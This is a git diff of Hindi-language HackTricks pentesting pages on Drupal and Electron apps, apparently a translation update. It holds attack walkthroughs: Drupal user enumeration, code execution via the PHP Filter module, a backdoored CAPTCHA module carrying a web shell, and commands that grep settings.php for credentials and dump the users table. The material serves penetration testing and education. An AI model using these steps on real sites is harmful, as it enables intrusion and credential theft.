-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) का -* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
@@ -18,62 +20,62 @@ ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` -* **नोड**: ड्रुपल **नोड का उपयोग करके अपनी सामग्री को इंडेक्स करता है**। एक नोड में कुछ भी हो सकता है जैसे ब्लॉग पोस्ट, पोल, लेख आदि। पृष्ठ URI आमतौर पर `/node/` के रूप में होते हैं। +* **Node**: Drupal **अपनी सामग्री को नोड्स का उपयोग करके इंडेक्स करता है**। एक नोड **कुछ भी रख सकता है** जैसे कि ब्लॉग पोस्ट, पोल, लेख, आदि। पेज URIs आमतौर पर `/node/` के रूप में होते हैं। ```bash curl drupal-site.com/node/1 ``` -## जांच +## परिगणना -Drupal डिफ़ॉल्ट रूप से **तीन प्रकार के उपयोगकर्ता** का समर्थन करता है: +Drupal मूल रूप से **तीन प्रकार के उपयोगकर्ता** का समर्थन करता है: -1. **`प्रशासक`**: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है। -2. **`प्रमाणित उपयोगकर्ता`**: इन उपयोगकर्ताओं को वेबसाइट में लॉग इन करने और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य करने की अनुमति होती है। -3. **`अज्ञात`**: सभी वेबसाइट आगंतुकों को अज्ञात के रूप में निर्धारित किया जाता है। डिफ़ॉल्ट रूप से, इन उपयोगकर्ताओं को केवल पद पढ़ने की अनुमति होती है। +1. **`Administrator`**: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है। +2. **`Authenticated User`**: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य कर सकते हैं। +3. **`Anonymous`**: सभी वेबसाइट आगंतुकों को अनाम के रूप में नामित किया जाता है। मूल रूप से, इन उपयोगकर्ताओं को केवल पोस्ट पढ़ने की अनुमति होती है। ### संस्करण -* `/CHANGELOG.txt` की जांच करें +* `/CHANGELOG.txt` की जाँच करें ```bash curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 "" Drupal 7.57, 2018-02-21 ``` {% hint style="info" %} -नवीनतम Drupal स्थापनाएं डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों का पहुंच अवरोधित करती हैं। +Drupal की नई स्थापनाएँ डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों तक पहुँच को अवरुद्ध करती हैं। {% endhint %} -### उपयोगकर्ता गणना +### यूजरनेम अनुमान -#### पंजीकरण +#### रजिस्टर -_/user/register_ में एक उपयोगकर्ता नाम बनाने का प्रयास करें और यदि नाम पहले से ही लिया गया है तो यह सूचित किया जाएगा: +_/user/register_ में बस एक यूजरनेम बनाने की कोशिश करें और अगर नाम पहले से लिया गया है तो इसकी सूचना दी जाएगी: ![](<../../.gitbook/assets/image (254).png>) #### नया पासवर्ड अनुरोध -यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं: +अगर आप मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं: ![](<../../.gitbook/assets/image (255).png>) -यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं: +अगर आप गैर-मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं: ![](<../../.gitbook/assets/image (256).png>) -### उपयोगकर्ताओं की संख्या प्राप्त करें +### यूजर्स की संख्या प्राप्त करें -_/user/\_ तक पहुंच कर आप मौजूदा उपयोगकर्ताओं की संख्या देख सकते हैं, इस मामले में _/users/3_ एक खोजा नहीं मिला त्रुटि देता है: +_/user/\_ तक पहुँचकर आप मौजूदा यूजर्स की संख्या देख सकते हैं, इस मामले में 2 है क्योंकि _/users/3_ एक नहीं मिला त्रुटि देता है: ![](<../../.gitbook/assets/image (257).png>) ![](<../../.gitbook/assets/image (227) (1) (1).png>) -### छिपी हुई पृष्ठ +### छिपे हुए पेज -**_/node/$_ जहां _$_ एक संख्या है** (1 से 500 तक उदाहरण के लिए)।\ -आप **छिपी हुई पृष्ठ** (परीक्षण, विकास) को खोज सकते हैं जो खोज इंजन द्वारा संदर्भित नहीं होते हैं। +**`/node/$` को Fuzz करें जहाँ `$` एक संख्या है** (उदाहरण के लिए 1 से 500 तक)।\ +आप **छिपे हुए पेज** (टेस्ट, डेव) पा सकते हैं जो सर्च इंजनों द्वारा संदर्भित नहीं किए जाते हैं। -#### स्थापित मॉड्यूल जानकारी +#### स्थापित मॉड्यूल की जानकारी ```bash #From https://twitter.com/intigriti/status/1439192489093644292/photo/1 #Get info on installed modules @@ -84,20 +86,6 @@ curl https://example.com/core/core.services.yml curl https://example.com/config/sync/swiftmailer.transport.yml ``` ### स्वचालित - -Automatic testing tools can be very useful when it comes to pentesting Drupal websites. These tools can help identify common vulnerabilities and weaknesses in the Drupal installation. Here are some popular automatic testing tools for Drupal: - -- **Drupalgeddon**: This tool is specifically designed to exploit the Drupalgeddon vulnerability, which is a highly critical vulnerability that allows remote code execution. It can be used to test if a Drupal website is vulnerable to this exploit. - -- **Droopescan**: Droopescan is a scanner that can be used to identify vulnerabilities in Drupal installations. It can detect outdated modules, weak passwords, and other security issues. - -- **CMSmap**: CMSmap is a versatile scanner that can be used to identify the CMS (Content Management System) used by a website. It can also detect vulnerabilities in Drupal installations. - -- **Nikto**: Nikto is a popular web server scanner that can be used to identify vulnerabilities in Drupal installations. It can detect outdated versions, misconfigurations, and other security issues. - -- **Wapiti**: Wapiti is a web application vulnerability scanner that can be used to identify vulnerabilities in Drupal installations. It can detect SQL injection, XSS (Cross-Site Scripting), and other common web application vulnerabilities. - -These tools can save time and effort during the pentesting process by automating the identification of common vulnerabilities in Drupal websites. However, it's important to note that automatic testing tools may not detect all vulnerabilities, so manual testing is still necessary to ensure thorough security testing. ```bash droopescan scan drupal -u http://drupal-site.local ``` @@ -106,94 +94,70 @@ droopescan scan drupal -u http://drupal-site.local ### PHP Filter Module के साथ {% hint style="warning" %} -पुराने संस्करणों में Drupal **(version 8 से पहले)** में, एडमिन के रूप में लॉग इन करके **`PHP filter` मॉड्यूल को सक्षम करना संभव था**, जो "एम्बेडेड PHP कोड/स्निपेट को मूल्यांकन करने की अनुमति देता है।" +Drupal के पुराने संस्करणों में **(संस्करण 8 से पहले)**, एक व्यवस्थापक के रूप में लॉग इन करना और **`PHP filter` मॉड्यूल को सक्षम करना** संभव था, जो "PHP कोड/स्निपेट्स का मूल्यांकन करने की अनुमति देता है।" {% endhint %} -आपको **प्लगइन php को स्थापित करने की आवश्यकता है** (इसे जांचने के लिए _/modules/php_ तक पहुंचें और यदि यह **403** लौटाता है तो, **मौजूद है**, यदि **नहीं मिला**, तो **प्लगइन php स्थापित नहीं है**) +आपको **plugin php का इंस्टॉल होना आवश्यक है** (इसे _/modules/php_ पर जाकर जांचें और यदि यह **403** लौटाता है, तो, **मौजूद है**, यदि **नहीं मिला**, तो **plugin php इंस्टॉल नहीं है**) -_मॉड्यूल्स_ पर जाएं -> (**जांचें**) _PHP Filter_ -> _कॉन्फ़िगरेशन सहेजें_ +_Modules_ पर जाएं -> (**जांचें**) _PHP Filter_ -> _Save configuration_ ![](<../../.gitbook/assets/image (247) (1).png>) -फिर _Add content_ पर क्लिक करें -> _Basic Page_ या _Article_ का चयन करें -> _शरीर पर php शैलकोड लिखें_ -> _Text format_ में _PHP code_ का चयन करें -> _Preview_ का चयन करें +फिर _Add content_ पर क्लिक करें -> _Basic Page_ या _Article_ चुनें -> _php shellcode को body में लिखें_ -> _Text format_ में _PHP code_ चुनें -> _Preview_ चुनें ![](<../../.gitbook/assets/image (253) (1).png>) -अंत में, नवीनतम बनाए गए नोड तक पहुंचें: +अंत में बस नए बनाए गए नोड को एक्सेस करें: ```bash curl http://drupal-site.local/node/3 ``` -### PHP Filter Module को इंस्टॉल करें +### PHP Filter Module स्थापित करें -**8 संस्करण के बाद से**, [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से इंस्टॉल नहीं होता है**। इस फंक्शनालिटी का लाभ उठाने के लिए, हमें **मॉड्यूल को खुद ही इंस्टॉल करना होगा**। +संस्करण **8 के बाद से,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं होता है**। इस कार्यक्षमता का उपयोग करने के लिए, हमें **मॉड्यूल को स्वयं स्थापित करना होगा**। -1. Drupal वेबसाइट से मॉड्यूल के सबसे हाल के संस्करण को डाउनलोड करें। +1. Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें। 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz -2. डाउनलोड होने के बाद, **`प्रशासन`** > **`रिपोर्ट`** > **`उपलब्ध अपडेट`** पर जाएं। -3. **`ब्राउज़ करें`** पर क्लिक करें, डायरेक्टरी से फ़ाइल का चयन करें और फिर **`इंस्टॉल`** पर क्लिक करें। -4. मॉड्यूल इंस्टॉल होने के बाद, हम **`सामग्री`** पर क्लिक करके एक नया बेसिक पेज बना सकते हैं, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर सुनिश्चित करें कि **`पाठ स्वरूप` ड्रॉपडाउन से `PHP कोड` का चयन करें**। +2. डाउनलोड हो जाने के बाद **`Administration`** > **`Reports`** > **`Available updates`** पर जाएं। +3. **`Browse`** पर क्लिक करें, फिर डाउनलोड की गई डायरेक्टरी से फाइल का चयन करें और फिर **`Install`** पर क्लिक करें। +4. मॉड्यूल स्थापित हो जाने के बाद, हम **`Content`** पर क्लिक कर सकते हैं और **नया बेसिक पेज बना सकते हैं**, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format` ड्रॉपडाउन से `PHP code` का चयन करें**। -### Backdoored मॉड्यूल +### Backdoored Module -एक backdoored मॉड्यूल बनाने के लिए, **मौजूदा मॉड्यूल में एक शैल जोड़ना** संभव है। मॉड्यूल drupal.org वेबसाइट पर मिल सकते हैं। हम एक मॉड्यूल जैसे [CAPTCHA](https://www.drupal.org/project/captcha) का चयन करें। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें। +एक backdoored मॉड्यूल **मौजूदा मॉड्यूल में एक शेल जोड़कर** बनाया जा सकता है। मॉड्यूल्स drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे मॉड्यूल को चुनते हैं। नीचे स्क्रॉल करें और tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिंक को कॉपी करें। -* आर्काइव डाउनलोड करें और उसकी सामग्री निकालें। +* आर्काइव को डाउनलोड करें और इसकी सामग्री को निकालें। ``` wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` -* निम्नलिखित सामग्री के साथ एक **PHP वेब शैल** बनाएँ: +* **PHP वेब शेल** बनाएं जिसकी सामग्री हो: ```php ``` -* अगले, हमें फ़ोल्डर तक पहुँच के लिए खुद को एक **`.htaccess`** फ़ाइल बनानी होगी। यह जरूरी है क्योंकि Drupal **`/modules`** फ़ोल्डर के लिए सीधा पहुँच को अस्वीकार करता है। +* अगला, हमें खुद को फोल्डर तक पहुँच प्रदान करने के लिए एक **`.htaccess`** फाइल बनाने की आवश्यकता है। यह जरूरी है क्योंकि Drupal सीधे **`/modules`** फोल्डर तक पहुँच को मना करता है। ```html RewriteEngine On RewriteBase / ``` -* उपरोक्त विन्यास ने नियमों को लागू किया है जब हम /modules में एक फ़ाइल का अनुरोध करते हैं तो / फ़ोल्डर के लिए। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं। +* ऊपर दिया गया कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में किसी फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं। ```bash mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` -* यदि हमें वेबसाइट पर **प्रशासनिक पहुंच** है, तो **`Manage`** पर क्लिक करें और साइडबार पर **`Extend`** पर क्लिक करें। अगले कदम में, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉल पेज पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install`। बैकडोर्ड कैप्चा आर्काइव तक ब्राउज़ करें और **`Install`** पर क्लिक करें। -* इंस्टॉलेशन सफल होने के बाद, कमांड्स को निष्पादित करने के लिए **`/modules/captcha/shell.php`** पर ब्राउज़ करें। +* मान लीजिए हमारे पास वेबसाइट का **प्रशासनिक पहुँच** है, **`प्रबंधन`** पर क्लिक करें और फिर साइडबार पर **`विस्तार`** पर क्लिक करें। अगला, **`+ नया मॉड्यूल स्थापित करें`** बटन पर क्लिक करें, और हमें स्थापना पृष्ठ पर ले जाया जाएगा, जैसे कि `http://drupal-site.local/admin/modules/install` बैकडोर्ड कैप्चा आर्काइव को ब्राउज़ करें और **`स्थापित करें`** पर क्लिक करें। +* स्थापना सफल होने के बाद, **`/modules/captcha/shell.php`** पर ब्राउज़ करें ताकि आदेशों को निष्पादित किया जा सके। -## पोस्ट एक्सप्लोइटेशन +## पोस्ट एक्सप्लॉइटेशन ### settings.php पढ़ें ``` find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` -### डीबी से उपयोगकर्ताओं को डंप करें - -To dump users from the database, you can use the following steps: - -1. Identify the database management system (DBMS) being used by the Drupal website. This can be MySQL, PostgreSQL, or another DBMS. - -2. Use the appropriate command-line tool or graphical interface to connect to the database. - -3. Once connected, execute the SQL query to dump the users table. The query may vary depending on the DBMS being used. For example, in MySQL, you can use the following command: - - ```sql - SELECT * FROM users; - ``` - - This will retrieve all the records from the users table. - -4. Save the output of the query to a file for further analysis. You can redirect the output to a file using the following command in the command-line interface: - - ```bash - mysql -u -p -e "SELECT * FROM users;" > users_dump.txt - ``` - - Replace `` with the database username, `` with the name of the Drupal database, and `users_dump.txt` with the desired filename. - -By following these steps, you will be able to dump the users from the Drupal database. +### डीबी से उपयोगकर्ताओं की जानकारी निकालना ``` mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` @@ -203,12 +167,14 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह! -* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **के लिए साझा करें।** +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 689622412..013f4168e 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -2,40 +2,42 @@
-☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) -* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**. +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
## परिचय -इलेक्ट्रॉन **क्रोमियम पर आधारित** है, लेकिन यह एक ब्राउज़र नहीं है। आधुनिक ब्राउज़र्स द्वारा लागू किए गए कुछ सिद्धांत और सुरक्षा यांत्रिकी यहां नहीं हैं।\ -आप इलेक्ट्रॉन को एक स्थानीय बैकएंड+फ्रंटएंड ऐप की तरह देख सकते हैं जहां **NodeJS** बैकएंड है और **क्रोमियम** फ्रंटएंड है। +इलेक्ट्रॉन **क्रोमियम पर आधारित है**, पर यह एक ब्राउज़र नहीं है। कुछ सिद्धांत और सुरक्षा तंत्र जो आधुनिक ब्राउज़रों द्वारा लागू किए गए हैं, वे यहां नहीं हैं।\ +आप इलेक्ट्रॉन को एक स्थानीय बैकएंड+फ्रंटएंड ऐप की तरह देख सकते हैं जहां **NodeJS** **बैकएंड** है और **क्रोमियम** **फ्रंटएंड** है। -आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर ढूंढ सकते हैं, कोड प्राप्त करने के लिए आपको इसे निकालना होगा: +आमतौर पर आपको इलेक्ट्रॉन ऐप कोड एक `.asar` एप्लिकेशन के अंदर मिल सकता है, कोड प्राप्त करने के लिए आपको इसे निकालना होगा: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -एक Electron ऐप के स्रोत कोड में, `packet.json` के अंदर, आपको `main.js` फ़ाइल में सुरक्षा कॉन्फ़िगरेशन सेट किए गए देख सकते हैं। +सोर्स कोड में एक Electron ऐप के अंदर `packet.json` में, आप `main.js` फाइल को निर्दिष्ट पा सकते हैं जहाँ सुरक्षा कॉन्फ़िग सेट किए गए हैं। ```json { "name": "standard-notes", "main": "./app/index.js", ``` -इलेक्ट्रॉन में 2 प्रक्रिया प्रकार होते हैं: +Electron में 2 प्रक्रिया प्रकार होते हैं: -* मुख्य प्रक्रिया (NodeJS के पूरे पहुंच के साथ) -* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS के पहुंच को सीमित करना चाहिए) +* मुख्य प्रक्रिया (NodeJS तक पूरी पहुँच होती है) +* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS तक सीमित पहुँच होनी चाहिए) ![](<../../../.gitbook/assets/image (307) (5) (1).png>) -**रेंडरर प्रक्रिया** एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड करेगी: +एक **रेंडरर प्रक्रिया** एक ब्राउज़र विंडो होगी जो एक फाइल को लोड करेगी: ```javascript const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); @@ -43,18 +45,18 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -**रेंडरर प्रक्रिया** की सेटिंग्स को मुख्य प्रक्रिया में main.js फ़ाइल के अंदर **कॉन्फ़िगर किया जा सकता है**। कुछ कॉन्फ़िगरेशन्स सही ढंग से कॉन्फ़िगर किए जाने पर, इलेक्ट्रॉन एप्लिकेशन को RCE या अन्य सुरक्षा दुरुपयोग से बचा सकते हैं। +**renderer process** की सेटिंग्स को **main process** में main.js फाइल के अंदर **कॉन्फ़िगर** किया जा सकता है। कुछ कॉन्फ़िगरेशन्स इलेक्ट्रॉन एप्लिकेशन को RCE या अन्य वल्नरेबिलिटीज से बचाएंगे अगर **सेटिंग्स सही ढंग से कॉन्फ़िगर की गई हों**। -डेस्कटॉप एप्लिकेशन नोड एपीआई के माध्यम से उपयोगकर्ता के उपकरण तक पहुंच हो सकती है। निम्नलिखित दो कॉन्फ़िगरेशन्स उपयोगकर्ता के उपकरण और सिस्टम स्तर के कमांडों के सीधे पहुंच को रोकने के लिए ज़िम्मेदार हैं। +डेस्कटॉप एप्लिकेशन के पास Node APIs के माध्यम से उपयोगकर्ता के डिवाइस तक पहुँच हो सकती है। निम्नलिखित दो कॉन्फ़िगरेशन्स उपयोगकर्ता के डिवाइस और सिस्टम स्तर के कमांड्स तक एप्लिकेशन जावास्क्रिप्ट की सीधी पहुँच को रोकने के लिए जिम्मेदार हैं। -* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` होता है। यदि चालू है, तो रेंडरर प्रक्रिया से नोड सुविधाओं तक पहुंच देता है। -* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` होता है। यदि चालू है, तो मुख्य और रेंडरर प्रक्रियाएँ अलग नहीं होती हैं। +* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` होता है। अगर on हो, तो renderer process से node features तक पहुँच सकते हैं। +* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` होता है। अगर on हो, तो main और renderer processes अलग नहीं होते हैं। * **`preload`** - डिफ़ॉल्ट रूप से खाली होता है। -* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से बंद होता है। इससे NodeJS की क्रियाएँ प्रतिबंधित होती हैं। -* कार्यकर्ताओं में नोड एकीकरण -* **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` होता है। -* यदि **`nodeIntegration`** सक्षम है, तो यह इलेक्ट्रॉन एप्लिकेशन के भीतर आईफ्रेम में लोड होने वाले वेब पृष्ठों में **Node.js एपीआई** का उपयोग करने की अनुमति देगा। -* यदि **`nodeIntegration`** अक्षम है, तो प्रीलोड्स आईफ्रेम में लोड होंगे +* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से off होता है। यह NodeJS द्वारा किए जा सकने वाले क्रियाओं को सीमित कर देगा। +* Node Integration in Workers +* **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` होता है। +* अगर **`nodeIntegration`** **सक्षम** हो, तो यह इलेक्ट्रॉन एप्लिकेशन के अंदर iframes में **लोड किए गए वेब पेजों** में **Node.js APIs** का उपयोग करने की अनुमति देगा। +* अगर **`nodeIntegration`** **अक्षम** हो, तो preloads iframe में लोड होंगे। कॉन्फ़िगरेशन का उदाहरण: ```javascript @@ -82,7 +84,7 @@ spellcheck: true } }; ``` -कुछ **RCE payloads** [यहाँ से](https://7as.es/electron/nodeIntegration\_rce.txt): +कुछ **RCE payloads** यहाँ से [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): @@ -94,15 +96,15 @@ Example Payloads (Linux & MacOS): ``` -### ट्रैफिक को कैप्चर करें +### ट्रैफिक कैप्चर करें -स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें, जैसे: +स्टार्ट-मेन कॉन्फ़िगरेशन में संशोधन करें और प्रॉक्सी का उपयोग जोड़ें जैसे कि: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Electron स्थानीय कोड इंजेक्शन +## इलेक्ट्रॉन लोकल कोड इंजेक्शन -यदि आप स्थानीय रूप से एक Electron ऐप को चला सकते हैं, तो संभव है कि आप इसे विचारशील जावास्क्रिप्ट कोड को चला सकते हैं। जांचें कि कैसे: +यदि आप स्थानीय रूप से एक इलेक्ट्रॉन ऐप को निष्पादित कर सकते हैं, तो संभव है कि आप इसे मनमाने जावास्क्रिप्ट कोड को निष्पादित करने के लिए बना सकते हैं। जानिए कैसे: {% content-ref 